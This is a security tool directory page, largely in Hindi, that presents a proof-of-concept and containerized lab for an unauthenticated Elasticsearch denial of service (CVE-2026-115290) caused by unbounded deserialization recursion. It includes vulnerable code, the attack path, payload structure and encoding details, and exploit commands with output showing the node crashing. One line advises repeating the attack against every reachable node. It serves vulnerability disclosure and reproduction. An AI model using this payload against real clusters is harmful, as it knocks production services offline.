Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-115290 — CVE-2026-115290 के लिए PoC और कंटेनरीकृत A/B लैब, जो अनबाउंडेड डीसीरियलाइज़ेशन रिकर्सन (CWE-674) के माध्यम से Elasticsearch रिमोट क्लस्टर सर्वर में अनऑथेंटिकेटेड DoS है। | Kitploit
उपकरण/GitHubGitHub/googlesky/cve-2026-115290
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेपर और शोधलैब और अभ्यास
GitHubgooglesky/cve-2026-115290

CVE-2026-115290

CVE-2026-115290 के लिए PoC और कंटेनरीकृत A/B लैब, जो अनबाउंडेड डीसीरियलाइज़ेशन रिकर्सन (CWE-674) के माध्यम से Elasticsearch रिमोट क्लस्टर सर्वर में अनऑथेंटिकेटेड DoS है।

रिपॉजिटरी देखें
11घं 40मि पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 अंतिम OSINT टूलकिट: जाँच ग्राफ़, विश्वास स्कोरिंग, उपनाम परिवार, मानचित्र, टाइमलाइन और रिपोर्ट। 49 मॉड्यूल, 400+ साइटें, किसी API कुंजी की आवश्यकता नहीं।

    936
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # घोस्टलॉक वन-टैप निष्पादन ऐप (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    ब्राउज़र-साइड रेड टीम टूलकिट, जिसमें रेकॉन, पेलोड जनरेशन, क्रेडेंशियल हमलों, क्रिप्टो, एन्कोडिंग और एंगेजमेंट रिपोर्टिंग के लिए 102 ऑफ़लाइन टूल्स हैं।

    353
  • 4

    ARTEX

    baarai/artex

    प्लानर/वर्कर एजेंट, एसेट और एक्सप्लोरेशन ग्राफ़, MITM ट्रैफ़िक रिकॉर्डिंग, और भेद्यता पुनःपरीक्षण के साथ LLM मल्टी-एजेंट स्वायत्त पेनेट्रेशन टेस्टिंग प्लेटफ़ॉर्म।

    348
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT प्लेटफ़ॉर्म जो Shadowserver रिपोर्ट्स को MongoDB में इनजेस्ट करता है और उन्हें इंटरैक्टिव मैप्स, विश्लेषण, निष्कर्षों, सलाहों और कार्यकारी डैशबोर्ड के रूप में पुनः प्रस्तुत करता है।

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI-मूल साइबरसुरक्षा के लिए कार्रवाई की प्रणाली—जहाँ इरादा नियंत्रित निष्पादन बन जाता है, साक्ष्य परिचालन स्मृति बन जाता है, और हर ऑपरेशन अगले को बेहतर बनाता है।

    288

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-115290: रिमोट क्लस्टर सर्वर इंटरफ़ेस के माध्यम से Elasticsearch में अनधिप्रमाणित DoS

मूल कारण: अनियंत्रित रिकर्सन (CWE-674)। नोड API कुंजी की जाँच करने से पहले ही हमलावर द्वारा प्रदान किए गए बाइट्स को डीसेरियलाइज़ कर देता है: रिमोट क्लस्टर सर्वर पोर्ट पर एक अनधिप्रमाणित TCP अनुरोध ही StackOverflowError के साथ वर्कर स्टैक को उड़ाने और नोड को डाउन करने के लिए पर्याप्त है। प्रत्येक पहुँच-योग्य नोड के विरुद्ध इसे दोहराएँ।

CVECVE-2026-115290
सलाहकारElastic ESA-2026-201 (2026-11-03)
गंभीरताCVSS 3.1 7.5 High, वेक्टर AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
प्रभावितElasticsearch 8.10.0 से 8.19.23, 9.0.0 से 9.4.8, 9.5.0 से 9.5.5, remote_cluster_server.enabled: true के साथ
ठीक किया गया8.19.24 / 9.4.9 / 9.5.6
फ़िक्स कमिट0b1b229c8c ("Verify API key before decoding cross-cluster info", elastic/elasticsearch #161492)
पूर्वापेक्षाएँEnterprise / trial लाइसेंस (फ़ीचर advanced-remote-cluster-security), इंटरफ़ेस सक्षम

1. मूल कारण

CrossClusterAccessAuthenticationService.authenticate() (≤ 8.19.23) प्रेषक-नियंत्रित subject-info हेडर को जल्द से जल्द डिकोड करता था ताकि ऑडिट इवेंट्स में API कुंजी आईडी शामिल की जा सके:

// 8.19.23, vulnerable build
public static CrossClusterAccessHeaders readFromContext(final ThreadContext ctx) {
    final String credentialsHeader = ctx.getHeader(CROSS_CLUSTER_ACCESS_CREDENTIALS_HEADER_KEY);
    parseCredentialsHeader(credentialsHeader).close();                       // (1) format-check only
    return new CrossClusterAccessHeaders(credentialsHeader,
        CrossClusterAccessSubjectInfo.readFromContext(ctx));                // (2) DECODES attacker bytes, pre-auth
}

The decode is pure deserialization with no depth limits:

public static CrossClusterAccessSubjectInfo decode(final String header) {
    byte[] bytes = Base64.getDecoder().decode(header);
    StreamInput in = StreamInput.wrap(bytes);
    TransportVersion version = TransportVersion.readVersion(in);   // attacker-chosen
    in.setTransportVersion(version);
    Authentication authentication = new Authentication(in);        // -> readMetadata -> readGenericValue
    ...
}

StreamInput.readGenericValue() नेस्टेड मैप्स (टाइप टैग 10) पर किसी भी गहराई सीमा के बिना पुनरावर्तन करता है। लगभग 200k नेस्टेड सिंगल-एंट्री मैप्स decode() के अंदर ट्रांसपोर्ट थ्रेड का स्टैक उड़ाने के लिए पर्याप्त हैं।

ठीक किया गया (8.19.24): विषय जानकारी एन्कोडेड रहती है जब तक कि API कुंजी प्रमाणित न हो जाए, इसलिए अप्रमाणित अनुरोध कभी भी डीसेरियलाइज़र तक नहीं पहुँचते:

// 8.19.24, CrossClusterAccessRequestHeaders keeps the header as a String
final String subjectInfoHeader = requiredHeader(ctx, CROSS_CLUSTER_ACCESS_SUBJECT_INFO_HEADER_KEY);
...
// only after successful API-key authentication:
final CrossClusterAccessSubjectInfo subjectInfo = requestHeaders.decodeSubjectInfo().cleanAndValidate();

2. आक्रमण पथ

attacker ──TCP :9443──> remote cluster server port (profile _remote_cluster)
  ES transport frame: action "indices:data/read/search" (any registered action)
  ThreadContext headers:
    _cross_cluster_access_credentials  = "ApiKey <base64(id:key)>"   (format-valid, key unknown)
    _cross_cluster_access_subject_info = base64(vInt TransportVersion + Authentication{ metadata =
        { "poc_nested": {a: {a: {a: ... 200k deep ... }}} } } + roleDescriptorsBytesList[])

InboundHandler.handleRequest -> RequestHandlerRegistry (action exists) ->
ProfileSecuredRequestHandler.messageReceived (profile _remote_cluster) ->
CrossClusterAccessServerTransportFilter.authenticate -> license check -> header presence check ->
CrossClusterAccessAuthenticationService.authenticate -> CrossClusterAccessHeaders.readFromContext ->
CrossClusterAccessSubjectInfo.decode -> StreamInput.readGenericValue (unbounded) -> StackOverflowError
  -> netty exceptionCaught -> ExceptionsHelper.maybeDieOnAnotherThread ->
  ElasticsearchUncaughtExceptionHandler: "fatal error in thread [...], exiting" -> Runtime.halt(126)

हमले को आसान बनाने वाली बातें:

  • handshake आवश्यक नहीं है, संस्करण संगतता एक स्थिर जाँच है (TransportVersion.isCompatible);
  • subject-info बाइट्स अपना स्वयं का TransportVersion लेकर चलते हैं (readVInt से पढ़ा जाता है), इसलिए deserialization शाखाओं को संदेश हेडर संस्करण से स्वतंत्र रूप से नियंत्रित किया जा सकता है;
  • credentials हेडर को केवल parse होना होता है (ApiKey <base64(id:key)>), key को स्वयं कभी प्रमाणित नहीं करना पड़ता क्योंकि क्रैश उसके चलने से पहले ही हो जाता है;
  • readGenericValue प्रकार टैग: 0 string, 10 map (पुनरावर्ती), 0xFF null; strings vInt charCount + utf8 होते हैं; ints 7-बिट LEB128 vInts होते हैं।

3. रेपो लेआउट

poc/poc.py                 PoC client (stdlib-only): check | exploit | dump
lab/run-lab.sh             podman lab: vulnerable 8.19.23 (:9200/:9443) + fixed 8.19.24 (:9201/:9444)
lab/es-*/elasticsearch.yml node configs (RCS enabled, TLS off, trial license, security on)
lab/stop-lab.sh
evidence/                  captured logs + PoC transcripts (not published)

4. पुनरुत्पादन करें (100% कंटेनरीकृत, podman)

podman pull docker.elastic.co/elasticsearch/elasticsearch:8.19.23 \
            docker.elastic.co/elasticsearch/elasticsearch:8.19.24
./lab/run-lab.sh            # both containers capped at --cpus 2 --memory 4g

# 1) unauthenticated handshake probe on the vulnerable node's RCS port
python3 poc/poc.py check   --host 127.0.0.1 --port 9443

# 2) kill the vulnerable node
python3 poc/poc.py exploit --host 127.0.0.1 --port 9443
#   connection drops, node exits with "fatal error in thread [...], exiting", halt(126)

# 3) A/B: identical payload against the fixed build, node survives and rejects the auth
python3 poc/poc.py exploit --host 127.0.0.1 --port 9444

./lab/stop-lab.sh

TLS परिनियोजन: किसी भी मोड में --tls जोड़ें।

यूनिट-स्तरीय पुनरुत्पादन (वैकल्पिक): पेलोड को अकेले वास्तविक डिकोडर को दिया जा सकता है:

CrossClusterAccessSubjectInfo.decode(header) -> StackOverflowError   # verified against 8.19.23 jars

5. साक्ष्य (evidence/ में कैप्चर किया गया, इस लैब में पुनरुत्पादित)

भेद्य नोड (8.19.23, es-vuln)। एक exploit अनुरोध, बिना प्रमाणीकरण के:

[*] server closed the connection after 0.40s (closed=True, got 0 bytes)
[+] NODE TERMINATED: remote cluster server port 9443 refuses connections -- unauthenticated DoS reproduced

podman ps -a:  es-vuln  Exited (126)          # Runtime.halt(126) == uncaught StackOverflowError

elasticsearch.log (देखें evidence/es-vuln-fatal.log):

ERROR "fatal error java.lang.StackOverflowError"  ... Netty4MessageInboundHandler.exceptionCaught ->
      ExceptionsHelper.maybeDieOnAnotherThread -> elasticsearch-error-rethrower
ERROR "fatal error in thread [elasticsearch-error-rethrower], exiting"
java.lang.StackOverflowError
  at StreamInput.readGenericValue(StreamInput.java:859)
  at StreamInput.readMap(StreamInput.java:751)
  at StreamInput.readMap(StreamInput.java:736)
  at StreamInput.readGenericValue(StreamInput.java:872)   <- recursion loop, ~4 frames / nesting level
  ...

फ़िक्स्ड नोड (8.19.24, es-fixed), समान पेलोड:

[*] response frame: status=0x03 (error response)
[*] response text: "unable to find apikey with id cve-2026-115290"
      at CrossClusterAccessAuthenticationService.lambda$tryAuthenticate$3   <- auth ran, decode never did
[!] node is STILL ALIVE after the payload
podman ps -a:  es-fixed  Up (serving)

टूलिंग में निहित PoC की बाधाएँ

टूल डाउनलोड करें